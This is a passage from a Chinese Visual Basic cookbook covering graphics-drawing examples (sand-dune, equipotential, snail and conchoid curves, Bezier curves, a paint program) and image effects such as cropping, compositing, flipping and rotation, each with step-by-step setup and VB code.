    Next i
    If R2 + 10 > R1 Then Me.Cls                                '清空
End Sub




秘笈心法

心法领悟543：On Error语句小知识。

当处理因访问其他对象产生的错误时，与其使用On Error GoTo，不如使用On Error Resume Next。每一次与对象打交道之后都检查Err，则可消除代码访问对象时的含混之处。可以确认是哪个对象将错误引入Err.Number中，也可以确认最初是哪个对象产生了这个错误（Err.Source中指定的对象）。


 18.3　图形图像算法



 实例544　沙丘图案的算法

光盘位置：光盘\MR\18\544

高级

趣味指数：[image: ]




实例说明

沙丘图案可以显示出生活中的沙丘模型，本实例介绍如何在VB中设置实现具有沙丘效果的图案。沙丘图案主要是利用正弦曲线的不同相位的组合实现的，实现效果如图18.10所示。

[image: ]
图18.10　沙丘图案



关键技术

本实例使用Line方法在窗体上画X轴和Y轴。


说明：
 Line方法的详细讲解请参见实例102中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“沙丘图案”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称，用来显示所绘制的沙丘图案，设置ForeColor属性为&H00C000C0&。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“显示”和“清空”，并设置Font属性。

（5）主要程序代码如下：



Private Sub Command1_Click()                                    '显示图案
    Const PI = 3.1415                                        '定义常量圆周率
    Dim x, y, i, j As Integer                                    '定义整型变量
    Picture1.Cls                                            '清空
    Picture1.Scale (0, 0)-(500, 200)
    For j = 0 To 500 Step 5
        temp1 = 2 * PI * (j - 25) / 360
        temp2 = PI * Sin(temp1)
        For i = 0 To 5 * PI Step PI / 10
            x = 500 / (5 * PI) * i
            y = j + 18 * Sin(i + temp2)
            If i = 0 Then Picture1.PSet (x, y / 2)
            Picture1.Line -(x, y / 2), QBColor(6)
        Next i
    Next j
End Sub
Private Sub Command2_Click()
    Picture1.Cls                                            '清空
End Sub




秘笈心法

心法领悟544：Cls方法的使用小知识。

Cls方法可以清除运行时窗体或者图片框中由Pset、Line、Circle等方法所生成的图形和文本，并使窗体返回到窗体或者图片框的左上角（即CurrentX和CurrentY属性复位为0）。Cls方法不能清除窗体或图片框的背景色和窗体内部的控件对象，语法如下：



object.Cls




参数说明

object：所在处代表一个对象表达式。

例如，使用Form1.Cls将清除在窗体Form1上绘制或者输出的图形文本等。



 实例545　等电位面图的算法

光盘位置：光盘\MR\18\545

高级

趣味指数：[image: ]




实例说明

真空中的两个电量分别是+200和-200的电荷q1和q2，分别位于点（x-30,0）和（x+30,0）处，点（x,z）的电位y可以表示为：

[image: ]


按照上面的公式，绘制如图18.11所示的等电位面图的效果。

关键技术

本实例主要是通过使用PictureBox控件的Pset和Line方法实现的，其相关语法知识可参考本章前面例子中的介绍，此外，本实例运用了很多数学计算类函数。

[image: ]
图18.11　等电位面图



（1）Sin函数

该函数用于返回一Double，指定参数的sine（正弦）值，语法如下：



Sin(number)




参数说明

number：必选参数。number参数是Double或任何有效的数值表达式，表示一个以弧度为单位的角。

（2）Cos函数

该函数用于返回一个Double，指定一个角的余弦值，语法如下：



Cos(number)




参数说明

number：必选参数。number参数是一个Double或任何有效的数值表达式，表示一个以弧度为单位的角。

（3）Sqr函数

该函数返回一个Double，指定参数的平方根，语法如下：



Sqr(number)




参数说明

number：必选参数。number参数是Double或任何有效的大于或等于0的数值表达式。


说明：
 Int函数的详细讲解请参见实例182中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“等电位面图”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称，用来显示所绘制的等电位面图，设置ForeColor属性为&H00C000C0&。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“显示”和“清空”，并设置Font属性。

（5）主要程序代码如下：



Private Sub Command1_Click()                                '显示
    Const PI = 3.1415                                    '定义常量圆周率值
    Dim min(640), max(640)                                '定义数组
    Picture1.Cls                                        '清空
    Picture1.Scale (0, 0)-(400, 250)                            '定义PictureBox的坐标系统
    th = 20
    phi = 30
    rd = PI / 180
    For i = 0 To 640
        min(i) = 339: max(i) = 0
    Next i
    sx = Sin(th * rd): cx = Cos(th * rd)
    sy = Sin(-phi * rd): cy = Cos(-phi * rd)
    For z = -60 To 60 Step 5.3
        For x = -130 To 130 Step 0.1
            y = 200 / (Sqr((x - 30) * (x - 30) + z * z)) - 200 / (Sqr((x + 30) * (x + 30) + z * z))
            px = Int(x * cy + z * sy + 320)                        '返回参数的整数部分
            py = Int(y * cx - (-x * sy + z * cy) * sx + 200)                '返回参数的整数部分
            If py < min(px) Then
                min(px) = py
                Picture1.PSet (px - 100, py - 80), QBColor(8)            '将对象上的点设置为指定颜色
                Picture1.Line -(px - 100, py - 80), QBColor(10)            '在对象上画直线
            End If
            If py > max(px) Then
                max(px) = py
                Picture1.PSet (px - 100, py - 80), QBColor(8)            '将对象上的点设置为指定颜色
                Picture1.Line -(px - 100, py - 80), QBColor(10)            '在对象上画直线
            End If
        Next x
    Next z
End Sub




秘笈心法

心法领悟545：制作变幻线屏保程序。

在Windows操作系统中有个典型的屏幕保护程序，它就是变幻线屏保。使用VB中的PSet方法就可以实现类似的功能。根据一定算法使用PSet方法绘制点，使用ForeColor属性设置颜色就可以生成多条色彩斑斓的变幻线。



 实例546　蜗牛线算法

光盘位置：光盘\MR\18\546

高级

趣味指数：[image: ]




实例说明

利用PictureBox控件的PSet方法在PictureBox控件上绘制蜗牛线，如图18.12所示。蜗牛线的方程为： r
 =a
 sin(θ
 )/θ
 。

[image: ]
图18.12　绘制蜗牛线



关键技术

本实例主要是通过使用PictureBox控件的PSet和Scale方法实现的，同时还运用了很多数学计算类函数。


说明：
 Sin函数和Cos函数的详细讲解请参见实例545中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“绘制蜗牛线”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称，用来显示所绘制的蜗牛线，设置ForeColor属性为&H00C000C0&。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“绘制”和“退出”，并设置Font属性。

（5）主要程序代码如下：



Private Sub Command1_Click()
    Picture1.Cls                                            '清空
    'Scale方法设定用户坐标系，坐标原点在Picture1中心
    Picture1.ScaleMode = 0
    Picture1.ScaleMode = 3
    Picture1.Scale (-20, 20)-(20, -20)
    Picture1.DrawWidth = 2                                    '设置绘线宽度
    '用For循环绘制点，使其按蜗牛线规律变化
    For i = 0 To 4 * PI Step PI / 600
        If i = 0 Then
            Picture1.PSet (0, 0), vbRed                            '将对象上的点设置为指定颜色
        Else
            Picture1.PSet (20 * Sin(i) / i * Cos(i), 20 * Sin(i) / i * Sin(i)), vbRed
        End If
    Next i
    '指定位置显示描述文字
    Picture1.CurrentX = -15
    Picture1.CurrentY = 15
    Picture1.Print "蜗牛线"                                    '显示文本
End Sub




秘笈心法

心法领悟546：Line方法的使用小知识。

使用Line方法可在对象上绘制直线和矩形。绘制连接线时，前一条线的终点就是后一条线的起点。线的宽度取决于DrawWidth属性值。在背景上绘制线和矩形的方法取决于DrawMode和DrawStyle的属性值。执行Line方法时，CurrentX和CurrentY属性被参数设置为终点。



 实例547　绘制贝塞尔曲线算法

光盘位置：光盘\MR\18\547

高级

趣味指数：[image: ]




实例说明

一般的矢量图形软件都是通过贝塞尔曲线来精确绘制的，在设计曲线时要首先定位一些关键的点，然后利用贝塞尔曲线来设计曲线，这样可以比较直观地发现所给条件和设计出的曲线之间的关系，程序的运行效果如图18.13所示。

[image: ]
图18.13　绘制贝塞尔曲线



关键技术

本实例主要是利用API函数中的PolyBezier函数在窗体上绘制贝塞尔曲线实现的，语法如下：



Private Declare Function PolyBezier Lib "gdi32" (ByVal hdc As Long, lppt As POINTL, ByVal cPoints As Long) As Long




参数说明

❶hdc：Long数据类型，要在其中绘图的设备场景。

❷lppt：POINTAPI，指定一个POINTAPI结构数组。其中的第一个结构指定了起点。剩下的点3个一组——包括两个控件点和一个终点。

❸cPoints：Long数据类型，lppt数组的总点数。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“绘制贝塞尔曲线”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“绘制”和“退出”，并设置Font属性。

（4）主要程序代码如下：



Private Type POINTL
    x As Long
    y As Long
End Type
Private Declare Function PolyBezier Lib "gdi32" (ByVal hdc As Long, lppt As POINTL, ByVal cPoints As Long) As Long
Private Declare Function LineTo Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
Private apt(0 To 3) As POINTL
Private Declare Function MoveTo Lib "gdi32" Alias "MoveToEx" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, Optional lpPoint As Any = 0) As Long
Sub InitBezier(cxClient As Long, cyClient As Long)
    apt(0).x = ScaleX(cxClient / 2, vbTwips, vbPixels)
    apt(0).y = ScaleY(cyClient / 10, vbTwips, vbPixels)
    apt(1).x = ScaleX(cxClient / 4, vbTwips, vbPixels)
    apt(1).y = ScaleY(cyClient / 2, vbTwips, vbPixels)
    apt(2).x = ScaleX(3 * cxClient / 4, vbTwips, vbPixels)
    apt(2).y = ScaleY(cyClient / 2, vbTwips, vbPixels)
    apt(3).x = ScaleX(cxClient / 2, vbTwips, vbPixels)
    apt(3).y = ScaleY(9 * cyClient / 10, vbTwips, vbPixels)
    ForeColor = vbRed
End Sub
Sub DrawBezier()
    DrawStyle = vbSolid
    PolyBezier hdc, apt(0), 4
    DrawWidth = 1
    DrawStyle = vbDot
    MoveTo hdc, apt(0).x, apt(0).y
    LineTo hdc, apt(1).x, apt(1).y
    MoveTo hdc, apt(2).x, apt(2).y
    LineTo hdc, apt(3).x, apt(3).y
End Sub
Private Sub Command1_Click()
    CurrentX = 300
    CurrentY = 300
    ForeColor = vbBlack
    Print "贝塞尔曲线："
    DrawWidth = 2
    InitBezier ScaleWidth, ScaleHeight
    DrawBezier
End Sub




秘笈心法

心法领悟547：Circle方法的使用小知识。

Circle方法用于在对象上绘制圆、椭圆或弧。要想填充圆，需使用圆或椭圆所属对象的FillColor和FillStyle属性。只有封闭的图形如圆、椭圆或扇形，才能够进行填充，封闭图形线段的粗细取决于DrawWidth属性值。在背景上画圆的方法取决于DrawMode和DrawStyle属性值。



 实例548　绘制尼哥米德蚌线的算法

光盘位置：光盘\MR\18\548

高级

趣味指数：[image: ]




实例说明

尼哥米德蚌线非常漂亮，本实例介绍在VB中设置实现具有尼哥米德蚌线的图案。这里主要利用PSet方法在PictureBox控件中绘制尼哥米德蚌线。运行程序，单击“绘制”按钮，即可在PictureBox中显示尼哥米德蚌线，如图18.14所示。

[image: ]
图18.14　尼哥米德蚌线



关键技术

本实例主要是通过使用PictureBox控件的PSet方法将对象上的点设置为指定颜色。


说明：
 PSet方法的详细讲解请参见实例538中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“尼哥米德蚌线”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称使用其默认名称，用来显示所绘制的尼哥米德蚌线，设置ForeColor属性为&H00C000C0&。

（4）在窗体上添加两个CommandButton控件，名称使用其默认名称，将Caption属性分别设置为“绘制”和“退出”，并设置Font属性。

（5）主要程序代码如下：



Private Sub Command1_Click()
    Picture1.Cls
    DrawWidth = 1
    Picture1.Line (1000, 0)-(1000, 9000), RGB(255, 255, 255)
    Picture1.Line (7450, 0)-(7450, 9000), RGB(255, 255, 255)
    For i = 0 To 30
        For j = 0 To 230
            Picture1.PSet (2000, i * 300 + j), RGB(50, 50, 255)
            Picture1.PSet (5500, i * 300 + j), RGB(50, 50, 255)
            Picture1.PSet (8450, i * 300 + j), RGB(50, 50, 255)
        Next j
    Next i
    Picture1.DrawWidth = 2
    For Z = 0 To 0.49 * Pi Step 0.0005
        C = Cos(Z): S = Sin(Z)
        Picture1.PSet (1000 + (1000 / C + 1500) * C, 4200 - (1000 / C + 1500) * S)
        Picture1.PSet (1000 + (1000 / C + 1500) * C, 4200 + (1000 / C + 1500) * S)
        Picture1.PSet (1000 + (1000 / C - 1500) * C, 4200 - (1000 / C - 1500) * S)
        Picture1.PSet (1000 + (1000 / C - 1500) * C, 4200 + (1000 / C - 1500) * S)
        Picture1.PSet (4500 + (1000 / C + 1000) * C, 4200 - (1000 / C + 1000) * S)
        Picture1.PSet (4500 + (1000 / C + 1000) * C, 4200 + (1000 / C + 1000) * S)
        Picture1.PSet (4500 + (1000 / C - 1000) * C, 4200 - (1000 / C - 1000) * S)
        Picture1.PSet (4500 + (1000 / C - 1000) * C, 4200 + (1000 / C - 1000) * S)
        Picture1.PSet (7450 + (1000 / C + 750) * C, 4200 - (1000 / C + 750) * S)
        Picture1.PSet (7450 + (1000 / C + 750) * C, 4200 + (1000 / C + 750) * S)
        Picture1.PSet (7450 + (1000 / C - 750) * C, 4200 - (1000 / C - 750) * S)
        Picture1.PSet (7450 + (1000 / C - 750) * C, 4200 + (1000 / C - 750) * S)
    Next Z
    DrawWidth = 1
End Sub




秘笈心法

心法领悟548：Image控件的使用小知识。

使用Image控件用来显示图形，可以显示来自位图、图标或元文件的图形，也可以显示增强的元文件、JPEG或GIF文件。



 实例549　画图程序

光盘位置：光盘\MR\18\549

高级

趣味指数：[image: ]




实例说明

本实例实现了一个简单的画图功能。运行程序，在“选择图形”区域下选择要绘制的图形样式之后；通过在“设置画笔的尺寸”下拉列表框中设置线条的粗细以及单击“画笔颜色”按钮设置绘图所需的颜色，然后在窗体右侧的画板上按住鼠标左键并拖拽鼠标即可绘制出图形。单击“打开文件”按钮可选择要打开的BMP图片并将其添加到画布当中；单击“清除画布”按钮可清除画布中的所有内容；单击“保存文件”按钮则保存所绘制的图形，效果如图18.15所示。

[image: ]
图18.15　画图程序



关键技术

本实例主要是通过在PictureBox控件的MouseUp事件下，通过PictureBox控件的Line方法及Circle方法绘制图形来实现的。利用PictureBox控件的Line方法可以在对象上画直线和矩形。


说明：
 Line方法的详细讲解请参见实例102中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“画图程序”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在Frame控件中添加一个Line控件、两个Shape控件，分别将Shape1、Shape2的Shape属性设置为0-Rectangle和3-Circle。

（4）在窗体上添加一个Label控件，设置其Caption属性为“设置画笔的尺寸：”；添加一个ComboBox控件和一个PictureBox控件；添加5个CommandButton控件，名称取默认值，分别设置Caption属性为“画笔颜色”、“打开文件”、“保存文件”、“清除画布”和“退出”。

（5）主要程序代码如下：



Private Sub Picture1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
  If shape = 0 Then Picture1.Line (oldx, oldy)-(X, Y)
  If shape = 1 Then
     Picture1.Line (oldx, oldy)-(oldx, Y)
     Picture1.Line (oldx, oldy)-(X, oldy)
     Picture1.Line (oldx, Y)-(X, Y)
     Picture1.Line (X, oldy)-(X, Y)
  End If
  If shape = 2 Then
     If Abs(X - oldx) > Abs(Y - oldy) Then radius = Abs(Y - oldy) Else radius = Abs(X - oldx)
     Picture1.Circle (oldx, oldy), radius
  End If
End Sub




秘笈心法

心法领悟549：Visual Basic中的两个图像处理函数小知识。

在Visual Basic中有两个图像处理函数，它们分别是LoadPicture函数和SavePicture函数。LoadPicture函数用于加载图像，SavePicture函数用于将图像保存在位图文件中。


第19章　图像特效显示

图像的几何变换

图像显示特效

常见滤镜效果

其他图像处理操作






 19.1　图像的几何变换



 实例550　图像剪切

光盘位置：光盘\MR\19\550

中级

趣味指数：[image: ]




实例说明

图像剪切是图像处理中经常用到的操作，一般的图像处理软件中都有图像剪切功能，用户可以根据需要剪切图像中的某一部分，本实例便实现了这一功能。运行程序，单击“打开”按钮，打开要剪切的图像并显示在“源图像选择”图片框中，将光标移至源图片上，光标将变为[image: ]
 形状，按住鼠标左键对图像进行剪切，释放鼠标后，剪切的部分将显示在“目标图像预览”图片框中，效果如图19.1所示。单击“另存为”按钮，保存剪切后的图像。

[image: ]
图19.1　图像剪切效果



关键技术

在PictureBox控件的MouseUp事件下利用PictureClip控件的ClipX、ClipY、ClipWidth和ClipHeight属性来实现获取剪切后图像的功能。

PictureClip控件的ClipX属性用来指定由Clip属性所复制的位图部分左上角的X坐标。该属性设计时不可用，语法如下：



[form.]PictureClip.ClipX[ = X%]




PictureClip控件的ClipY属性用来指定由Clip属性所复制的位图部分左上角的Y坐标。该属性设计时不可用，语法如下：



[form.]PictureClip.ClipY[ = Y%]




PictureClip控件的ClipWidth属性用来指定由Clip属性所复制的位图部分的宽度。此属性设计时不可用，语法如下：



[form.]PictureClip.ClipWidth[ = Width%]




PictureClip控件的ClipHeight属性用来指定由Clip属性所复制的位图部分的高度。此属性设计时不可用，语法如下：



[form.]PictureClip.ClipHeight[ = Height%]




设计过程

（1）新建一个标准工程，创建一个新窗体，将窗体的Caption属性设置为“图像剪切”。

（2）在窗体中添加两个Label控件，设置其Caption属性分别为“源图像选择”和“目标图像预览”；添加3个CommandButton控件，设置其Caption属性分别为“打开”、“另存为”和“退出”；添加两个PictureBox控件，用于显示源图片及剪切后的图片。

（3）在窗体上添加一个CommonDialog控件和一个PictureClip控件。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Micorsoft Common Dialog Control 6.0（SP3）和Microsoft PictureClip Control 6.0（SP3）复选框，单击“确定”按钮。此时，CommonDialog控件和PictureClip控件将出现在工具箱中。

（4）主要程序代码如下：



Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = 1 Then
        Picture1.Cls                                    '清除图像
        X0 = X: Y0 = Y                                    '记录起点坐标
    End If
End Sub
Private Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Picture1.MousePointer = 99                                '鼠标指针状态
    Picture1.MouseIcon = LoadPicture(App.Path & "\光标.cur")            '加载鼠标指针图标
    If Button = 1 Then
        Picture1.Cls                                    '清除图像
        Picture1.Line (X0, Y0)-(X, Y), vbWhite, B                    '画线
    End If
End Sub
Private Sub Picture1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
    On Error Resume Next
    If Button = 1 Then
        PictureClip1.Picture = Picture1.Picture                        '设置图像
        PictureClip1.ClipX = IIf(X0 < X, X0, X)                    '设置开始坐标位置
        PictureClip1.ClipY = IIf(Y0 < Y, Y0, Y)                    '设置开始坐标位置
        PictureClip1.ClipWidth = Abs(X - X0)                        '设置宽度
        PictureClip1.ClipHeight = Abs(Y - Y0)                    '设置宽度
    End If
    Picture2.Picture = PictureClip1.Clip                            '显示裁剪图像
End Sub




秘笈心法

心法领悟550：使用Picture属性。

为控件的Picture属性赋值可以为控件加载图片，一般情况下都使用LoadPicture函数加载图片，如果多个控件需要加载同一幅图片，每次都使用LoadPicture函数为控件加载图片就很浪费内存，为了加快执行速度节省内存空间可以使用控件的Picture属性为另一个控件的Picture属性赋值。例如，下面的代码：



Picture2.Picture=picture1.Picture




这样Picture2中就显示了与Picture1同样的图片，而且还节约了内存。



 实例551　图像的合成

光盘位置：光盘\MR\19\551

中级

趣味指数：[image: ]




实例说明

图像的合成，顾名思义就是将两幅或两幅以上的图像合成为一幅图像。运行程序，单击“选择前景”按钮选择前景图像，单击“选择背景”按钮选择背景图像，选择前景及背景图像后，再选择一种合成方式，并通过调整X轴和Y轴的位置设置前景图像的位置。单击“合成”按钮，即可将两幅图像合成为一幅图像，效果如图19.2所示。单击“清除”按钮，将清除合成图像中的前景图像。

[image: ]
图19.2　图像的合成



关键技术

图像的合成是利用PictureBox控件的PaintPicture方法实现的。


说明：
 PaintPicture函数的详细讲解请参见实例234中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加3个PictureBox控件，用于显示前景图片、背景图片以及合成后的图片；添加一个 Frame控件，设置其Caption属性为“合成方式”。

（3）在Frame1控件中添加3个OptionButton控件，设置其Caption属性分别为“与”、“异或”和“覆盖”。

（4）在窗体上添加两个Label控件，设置其Caption属性分别为“X轴”和“Y轴”；添加两个Slider控件，用于设置前景图像的X轴和Y轴的位置；添加6个CommandButton控件，设置“名称”属性分别为CmdFore、CmdBack、Cmdunite、CmdCls、Cmdsave和Cmdexit，Caption属性分别为“选择前景”、“选择背景”、“合成”、“清除”、“保存”和“退出”。

（5）在窗体上添加一个CommonDialog控件。

（6）主要程序代码如下：



Private Sub Cmdunite_Click()
    '合并前景图像和背景图像
    On Error Resume Next
    '合成后的图像和背景图像保持同样大小
    Picture3.Picture = Picture2.Picture
    If Mode = 1 Then                        '与操作
        Picture3.PaintPicture Picture1.Picture, PLeft, PTop, , , , , , , &H8800C6
    ElseIf Mode = 2 Then                        '异或操作
        Picture3.PaintPicture Picture1.Picture, PLeft, PTop, , , , , , , &H660046
    ElseIf Mode = 3 Then                        '覆盖
        Picture3.PaintPicture Picture1.Picture, PLeft, PTop
    End If
End Sub




秘笈心法

心法领悟551：AutoRedraw属性对图像的影响。

使用VB中的PaintPicture函数可以在图像控件上画出指定的图像，但是使用此函数画出的图像在窗体刷新时会消失，要想永久保存图像，将AutoRedraw属性赋值为True。

当窗体或图片框的AutoRedraw属性设置为True时，会把图形输出保存在内存中，创建持久的图形。在窗体刷新时用Paint方法绘制的图像或是图形就不会消失。使用Cls方法可以清除刚刚创建的图形。



 实例552　图像翻转效果

光盘位置：光盘\MR\19\552

中级

趣味指数：[image: ]




实例说明

图像的翻转在多媒体编程中经常会用到，本实例实现了图像的垂直翻转和水平翻转的效果。单击“垂直翻转”按钮，窗体中的图片将进行垂直翻转；单击“水平翻转”按钮，窗体中的图片将进行水平翻转。原图像如图19.3所示，经过一次水平翻转和垂直翻转的图像如图19.4所示。
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	图19.3　原图像效果
	图19.4　翻转后的效果




关键技术

图像翻转是利用PictureBox控件的PaintPicture方法，此方法在实例234的关键技术中已经进行了介绍，这里不再赘述。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个PictureBox控件，并设置其Picture属性，添加一个图片到图像框。

（3）在窗体上添加一个CommandButton控件数组（Command1(0)～Command1(1)），设置Caption属性分别为“垂直翻转”和“水平翻转”；再添加一个CommandButton控件，设置Caption属性为“退出”。

（4）主要程序代码如下：



Dim bHort As Boolean
Dim bVert As Boolean
Private Sub Command1_Click(Index As Integer)
    Dim pic As StdPicture
    Set pic = Picture1.Picture
    Picture1.Cls
    Select Case Index
    Case 0
        bHort = Not bHort
    Case 1
        bVert = Not bVert
    End Select
    If bHort And bVert Then
        Picture1.PaintPicture pic, Picture1.Width, Picture1.Height, _
                              Picture1.Width * -1, Picture1.Height * -1
    ElseIf bHort And Not bVert Then
        Picture1.PaintPicture pic, Picture1.Width, 0, _
                              Picture1.Width * -1, Picture1.Height
    ElseIf Not bHort And bVert Then
        Picture1.PaintPicture pic, 0, Picture1.Height, _
                              Picture1.Width, Picture1.Height * -1
    Else
        Picture1.PaintPicture pic, 0, 0
    End If
End Sub




秘笈心法

心法领悟552：使用Cls方法清除PictureBox上的Image图像。

使用图像重绘或是API图片处理函数在PictureBox上绘制图像后，图像保存在内存中，并使用Image属性返回其句柄，来获取该图像。Image属性的图像显示在PictureBox图像框的上方，如果要清除，可以使用Cls方法。

例如，下面的语句：



Picture1.Cls




调用Cls方法后，对象的CurrentX和CurrentY属性复位为0。



 实例553　图像旋转

光盘位置：光盘\MR\19\553

高级

趣味指数：[image: ]




实例说明

图像旋转也是图像处理中经常用到的操作。本实例实现对图像实现任意角度的旋转，图像任意角度的旋转是将图像按照中心点旋转任意角度后产生一个新图像。运行程序后，拖动标尺中的滑块，使图形框中图片旋转，如图19.5和图19.6所示为图像旋转运行前后的效果。
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	图19.5　旋转前效果
	图19.6　旋转指定角度后效果




关键技术

为了方便变换，需要以图像的中心作为坐标原点，故要先进行坐标平移，然后进行旋转计算，计算完成后再将坐标移回。获得旋转后的坐标值是一个比较复杂的数学计算过程，这里不作介绍，下面直接给出计算新坐标点的算式。

x0 = x* cos(raw)+y*(raw)

y0 = y*cos(raw)+x*sin(raw)

其中，raw是旋转的弧度值，由角度值乘以PI再除以180得到。

本程序中的图像旋转是计算出旋转后的4个顶点坐标，然后根据这4个顶点坐标和原来的图像绘制旋转后的图像，这里使用了API函数PlgBlt来实现将旋转后的图像“画”在图像框中。下面介绍PlgBlt函数的使用方法。

PlgBlt函数用于复制一幅位图，同时将其转换成一个平行四边形。利用它可对位图进行旋转处理。

声明语句如下：



Public Declare Function PlgBlt Lib "gdi32" Alias "PlgBlt" (ByVal hdcDest As Long, lpPoint As POINTAPI, ByVal hdcSrc As Long, ByVal nXSrc As Long, ByVal nYSrc As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hbmMask As Long, ByVal xMask As Long, ByVal yMask As Long) As Long




参数说明如表19.1所示。

表19.1 PlgBlt函数的参数说明



	参数
	说明



	hdcDest
	Long型值，图像使用的目标设备场景



	lpPoint
	POINTAPI，POINTAPI结构数组中使用的第一个条目。第一个点对应于一个平行四边形左上角位置；第二个点代表右上角位置；第三个点代表左下角位置；第四个点是在前3个点的基础上导出的



	hdcSrc
	Long型值，图像的源设备场景



	nXSrc,nYSrc
	Long型值，源图像左上角的x,y坐标，采用逻辑坐标系统表示



	nWidth,nHeight
	Long型值，源图像大小，用逻辑坐标表示



	hbmMask
	Long型值，一个可选的句柄，指向一个单色掩模。如设定了这个参数，那么只有与掩模值1对应的二进制位才会传输到目的地



	xMask,yMask
	Long型值，掩模位图欲使用区域左上角的x,y坐标





注意：
 如果对源图像应用了旋转或剪切处理，这个函数的执行就会失败。可用GetDeviceCaps判断这个函数是否得到了一个特定设备场景的支持。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“图像旋转”。

（2）在窗体上添加两个PictureBox控件，设置Picture1的Picture属性，为其加载一幅图片。Picture2用于显示在窗体上旋转后的图片。

（3）选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Windows Common Control 6.0复选框，本程序需要的Slider控件就被添加到工具箱中，在窗体上添加一个Slider控件。设置其Min属性值为0，Max属性值为360。

（4）主要程序代码如下：



Private Sub turn(ByVal angle As Single)
    Dim p(3) As POINTAPI
    Dim X As Integer, Y As Integer               '点在Picture1中的坐标
    Dim x1 As Integer, y1 As Integer             '过渡坐标
    Dim X2 As Double, Y2 As Double           '过渡坐标
    Dim X3 As Double, Y3 As Double           '点经过旋转后在Picture2中的坐标
    Dim picH As Double, picW As Double
    Dim radian As Double                     '旋转的弧度
    Dim M, H
    radian = angle * PI / 180                    '获得旋转的弧度
    '原来右下角坐标
    x1 = Picture1.ScaleWidth - Picture1.ScaleWidth \ 2

    y1 = Picture1.ScaleHeight - Picture1.ScaleHeight \ 2
    '将坐标轴原点移动到Picture1的中心后原来坐标为(x,y)的点的新坐标为(X1,Y1)
    X2 = x1 * Cos(radian) + y1 * Sin(radian)       '获得在更改坐标原点旋转后该点的X坐标
    Y2 = y1 * Cos(radian) - x1 * Sin(radian)       '获得在更改坐标原点旋转后该点的Y坐标

    X3 = X2 + Picture1.ScaleWidth \ 2           '获得恢复坐标原点旋转后的X坐标
    Y3 = Y2 + Picture1.ScaleHeight \ 2          '获得恢复坐标原点旋转后的Y坐标

    If angle > 90 And angle < 180 Then H = -Y3
    If angle > 180 And angle <= 270 Then M = -X3
    If angle > 270 And angle <= 360 Then picH = Y3
    If angle < 90 Then picW = X3

    '原来左上角坐标
    x1 = 0 - Picture1.ScaleWidth \ 2

    y1 = 0 - Picture1.ScaleHeight \ 2
    X2 = x1 * Cos(radian) + y1 * Sin(radian)       '获得在更改坐标原点旋转后该点的X坐标
    Y2 = y1 * Cos(radian) - x1 * Sin(radian)       '获得在更改坐标原点旋转后该点的Y坐标

    X3 = X2 + Picture1.ScaleWidth \ 2           '获得恢复坐标原点旋转后的X坐标
    Y3 = Y2 + Picture1.ScaleHeight \ 2          '获得恢复坐标原点旋转后的Y坐标
    If angle <= 90 Then M = -X3
    If angle > 270 And angle <= 360 Then H = -Y3
    If angle > 90 And angle < 180 Then picH = Y3
    If angle > 180 And angle < 270 Then picW = X3
    p(0).X = X3  '--原来的左上角坐标
    p(0).Y = Y3
    '原来右上角坐标
    x1 = Picture1.ScaleWidth \ 2
    y1 = 0 - Picture1.ScaleHeight \ 2
    '将坐标轴原点移动到Picture1的中心后原来坐标为(x,y)的点的新坐标为(X1,Y1)
    X2 = x1 * Cos(radian) + y1 * Sin(radian)       '获得在更改坐标原点旋转后该点的X坐标
    Y2 = y1 * Cos(radian) - x1 * Sin(radian)       '获得在更改坐标原点旋转后该点的Y坐标
    X3 = X2 + Picture1.ScaleWidth \ 2           '获得恢复坐标原点旋转后的X坐标
    Y3 = Y2 + Picture1.ScaleHeight \ 2          '获得恢复坐标原点旋转后的Y坐标
    '
    If angle <= 90 Then H = -Y3
    If angle > 90 And angle < 180 Then M = -X3
    If angle > 180 And angle < 270 Then picH = Y3
    If angle > 270 And angle <= 360 Then picW = X3
    p(1).X = X3
    p(1).Y = Y3
    '原来左下角坐标
    x1 = 0 - Picture1.ScaleWidth \ 2
    y1 = Picture1.ScaleHeight \ 2
    '将坐标轴原点移动到Picture1的中心后原来坐标为(x,y)的点的新坐标为(X1,Y1)
    X2 = x1 * Cos(radian) + y1 * Sin(radian)       '获得在更改坐标原点旋转后该点的X坐标
